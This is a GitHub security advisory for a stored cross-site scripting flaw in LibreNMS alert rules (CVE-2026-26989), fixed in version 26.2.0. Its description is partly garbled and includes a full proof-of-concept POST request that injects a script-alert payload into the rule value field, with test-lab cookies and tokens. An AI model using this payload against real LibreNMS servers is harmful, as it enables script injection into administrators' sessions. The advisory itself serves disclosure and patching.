GitHub Advisoryadvisory · Packagist

GHSA-6xmx-xr9p-58p7 LibreNMS has a Stored XSS in Alert Rule

MEDIUM Published 2026-02-18 Modified 2026-02-20 Official page ↗
Aliases
CVE-2026-26989
Ecosystem
Packagist
Packages
librenms/librenms
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Weaknesses
CWE-79
Reviewed
2026-02-18

Affected packages

• Packagist librenms/librenms: < 26.2.0 → fixed in 26.2.0

Description

Summary A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (" . e($rule_display) . " ``` PoC Request PoC: ``` POST /alert-rule HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF X-Requested-With: XMLHttpRequest Content-Length: 718 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D Priority: u=0 _token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query= ``` Steps to reproduce: 1. Create and save an alert rule within a device with the following values: 2. Injected JavaScript is executed: Impact Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.

Related

Alias · CVE (1)

  • CVE-2026-26989 LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References